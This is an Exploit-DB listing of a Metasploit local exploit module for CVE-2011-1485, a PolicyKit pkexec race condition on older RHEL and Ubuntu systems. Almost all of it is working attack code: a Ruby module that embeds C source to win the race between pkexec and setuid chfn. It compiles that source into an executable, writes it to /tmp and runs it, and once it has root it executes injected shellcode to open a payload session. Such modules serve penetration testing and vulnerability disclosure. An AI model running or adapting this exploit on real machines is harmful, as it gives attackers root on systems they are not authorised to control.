Linux PolicyKit - Race Condition Privilege Escalation

2014-10-20T00:00:00
ID EDB-ID:35021
Type exploitdb
Reporter metasploit
Modified 2014-10-20T00:00:00

Description

Linux PolicyKit Race Condition Privilege Escalation. CVE-2011-1485. Local exploit for linux platform

                                        
                                            ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit4 < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::EXE
  include Msf::Post::File

  include Msf::Exploit::Local::Linux

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Linux PolicyKit Race Condition Privilege Escalation',
      'Description'   => %q(
        A race condition flaw was found in the PolicyKit pkexec utility and polkitd
        daemon. A local user could use this flaw to appear as a privileged user to
        pkexec, allowing them to execute arbitrary commands as root by running
        those commands with pkexec.

        Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu
        libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1
        (10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
      ),
      'License'       => MSF_LICENSE,
      'Author'        =>
      [
        'xi4oyu',                           # exploit
        '0a29406d9794e4f9b30b3c5d6702c708'  # metasploit module
      ],
      'Platform'       => [ 'linux'],
      'Arch'           => [ ARCH_X86, ARCH_X86_64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'       =>
      [
        [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
        [ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ]
      ],
      'DefaultTarget' => 0,
      'References'    =>
      [
        [ 'CVE', '2011-1485' ],
        [ 'EDB', '17942' ],
        [ 'OSVDB', '72261' ]
      ],
      'DisclosureDate' => "Apr 01 2011"
    ))
    register_options([
      OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
      OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
      OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
      OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ])
    ])
  end

  def executable_path
    @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
    @executable_path
  end

  def exploit
    main = %q^
/*
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
* Author: xi4oyu
* Tested on: rhel 6
* CVE : 2011-1485
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~
* U can reach us  @ http://www.wooyun.org :)
* 0a2940: some changes
*/
/*
#include <stdio.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stat.h>
#include <errno.h>
#include <poll.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>
*/

#define dprintf

#define NULL ((void*)0)

#define MAP_PRIVATE   0x02
#define MAP_FIXED     0x10
#define MAP_ANONYMOUS 0x20
#define MAP_ANON MAP_ANONYMOUS
#define MAP_FAILED ((void *)-1)

#define PROT_READ  0x1
#define PROT_WRITE 0x2
#define PROT_EXEC  0x4

#define O_CREAT 64
#define O_RDWR 2

#define POLLRDNORM      0x0040

typedef int __pid_t;
typedef int __time_t;
typedef
struct {
        long __val[2];
} __quad_t;
typedef __quad_t __dev_t;
typedef long __ino_t;
typedef unsigned long __mode_t;
typedef long __nlink_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef long long __off_t;
typedef long __blksize_t;
typedef long long __blkcnt_t;
struct _stat_buff {
    __dev_t st_dev;                     /* Device.  */
    unsigned short int __pad1;
    __ino_t st_ino;                     /* File serial number.  */
    __mode_t st_mode;                   /* File mode.  */
    __nlink_t st_nlink;                 /* Link count.  */
    __uid_t st_uid;                     /* User ID of the file's owner. */
    __gid_t st_gid;                     /* Group ID of the file's group.*/
    __dev_t st_rdev;                    /* Device number, if device.  */
    unsigned short int __pad2;
    __off_t st_size;                    /* Size of file, in bytes.  */
    __blksize_t st_blksize;             /* Optimal block size for I/O.  */
    __blkcnt_t st_blocks;               /* Number 512-byte blocks allocated. */
    __time_t st_atime;                  /* Time of last access.  */
    unsigned long int st_atimensec;     /* Nscecs of last access.  */
    __time_t st_mtime;                  /* Time of last modification.  */
    unsigned long int st_mtimensec;     /* Nsecs of last modification.  */
    __time_t st_ctime;                  /* Time of last status change.  */
    unsigned long int st_ctimensec;     /* Nsecs of last status change.  */
    unsigned long int __unused4;
    unsigned long int __unused5;
};

struct _pollfd {
    int   fd;         /* file descriptor */
    short events;     /* requested events */
    short revents;    /* returned events */
};
typedef unsigned long size_t;
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
extern int mprotect(void *__addr, size_t __len, int __prot);
extern void exit(int __status);
extern int printf(const char *__format, ...);
extern __pid_t fork(void);
extern __time_t time(__time_t *t);
extern __pid_t getpid(void);
extern __uid_t geteuid(void);
extern void srand(unsigned int seed);
extern int snprintf(char *str, size_t size, const char *format, ...);
extern int pipe(int pipefd[2]);
extern int close(int fd);
extern void write(int fd, const void *buf, size_t count);
extern int dup2(int oldfd, int newfd);
extern void perror(const char *__s);
extern void read(int fd, void *buf, size_t count);
extern int execve(const char *filename, char *const argv[], char *const envp);
extern int usleep(int usec);
extern void *memset(void *s, int c, size_t n);
extern void *memcpy(void * dst, const void *src, size_t n);
extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout);
extern char *strstr(const char *haystack, const char *needle);
extern int rand(void);
extern int unlink(const char *__name);

int main(int argc,char *argv[], char ** envp)
{

    __time_t tim_seed1;
    __pid_t pid_seed2;
    int result;
    struct _stat_buff stat_buff;

    char * chfn_path = "/usr/bin/chfn";
    char * cmd_path = "";

    char * pkexec_argv[] = {
        "/usr/bin/pkexec",
        "/bin/sh",
        "-c",
        cmd_path,
        NULL
    };
    int pipe1[2];
    int pipe2[2];
    int pipe3[2];
    __pid_t pid,pid2 ;
    char * chfn_argv[] = {
        "/usr/bin/chfn",
        NULL
    };

    char buff[8];
    char read_buff[4096];
    char real_path[512];

    int count = 0;
    int flag = 0;
    unsigned int usleep1 = 0;
    unsigned int usleep2 = 0;

    tim_seed1 = time(NULL);
    pid_seed2 = getpid();
    srand(tim_seed1+pid_seed2);

    if(!geteuid()){

      unlink(cmd_path);

      SHELLCODE

      int shellcode_size = 0;
      int i;
      unsigned long (*func)();
      func = mmap(NULL, 0x1000,
        PROT_READ | PROT_WRITE | PROT_EXEC,
        MAP_PRIVATE | MAP_ANONYMOUS,
        0, 0
      );
      mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
      dprintf("Copying %d bytes of shellcode\n", shellcode_size);
      //for (i = 0; i < shellcode_size; i++) {
        //(char)func[i] = (char)shellcode[i];
         memcpy(func,shellcode,shellcode_size);
      //}
      dprintf("Forking before calling shellcode: 0x%p\n", func);
      if (fork()) {
        exit(0);
      }
      func();
    }

    if(pipe(pipe1)){
        perror("pipe");
        exit(-2);
    }

    for(count = COUNT; count && !flag; count--){
        dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2);
        pid = fork();
        if( !pid ){
            // Parent
            if( !pipe(pipe2)){
                if(!pipe(pipe3)){
                    pid2 = fork();
                    if(!pid2){
                        // Parent 2
                        close(1);
                        close(2);
                        close(pipe1[0]);
                        dup2(pipe1[1],2);
                        dup2(pipe1[1],1);
                        close(pipe1[1]);
                        close(pipe2[0]);
                        close(pipe3[1]);
                        write(pipe2[1],"\xFF",1);
                        read(pipe3[0],&buff,1);
                        execve(pkexec_argv[0],pkexec_argv,envp);
                        perror("execve pkexec");
                        exit(-3);
                    }
                    close(0);
                    close(1);
                    close(2);
                    close(pipe2[1]);
                    close(pipe3[0]);
                    read(pipe2[0],&buff,1);
                    write(pipe3[1],"\xFF",1);
                    usleep(usleep1+usleep2);
                    execve(chfn_argv[0],chfn_argv,envp);
                    perror("execve setuid");
                    exit(1);
                }
            }
            perror("pipe3");
            exit(1);
        }

        //Note: This is child, no pipe3 we use poll to monitor pipe1[0]
        memset(pipe3,0,8);

        struct _pollfd * pollfd = (struct pollfd *)(&pipe3);
        pollfd->fd = pipe1[0];
        pollfd->events =  POLLRDNORM;

        if(poll(pollfd,1,1000) < 0){
            perror("poll");
            exit(1);
        }

        if(pollfd->revents & POLLRDNORM ){
            memset(read_buff,0,4096);
            read(pipe1[0],read_buff,4095);
            if( strstr(read_buff,"does not match")){
                usleep1 += 100;
                usleep2 = rand() % 1000;
            }else{
                if(usleep1 > 0){
                  usleep1 -= 100;
                }
            }
        }
    }
    result = 0;
    unlink(cmd_path);
    return result;
}

^
    main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode"))
    main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
    main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"")
    main.gsub!(/COUNT/, datastore["Count"].to_s)
    main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG']

    cpu = nil
    if target['Arch'] == ARCH_X86
      cpu = Metasm::Ia32.new
    elsif target['Arch'] == ARCH_X86_64
      cpu = Metasm::X86_64.new
    end

    begin
      elf = Metasm::ELF.compile_c(cpu, main).encode_string
    rescue
      print_error "Metasm Encoding failed: #{$ERROR_INFO}"
      elog "Metasm Encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
      elog "Call stack:\n#{$ERROR_INFO.backtrace.join("\n")}"
      return
    end

    print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
    rm_f executable_path
    write_file(executable_path, elf)
    output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
    output.each_line { |line| print_debug line.chomp }

    stime = Time.now.to_f
    print_status "Starting the payload handler..."
    until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
      Rex.sleep(1)
    end
  end
end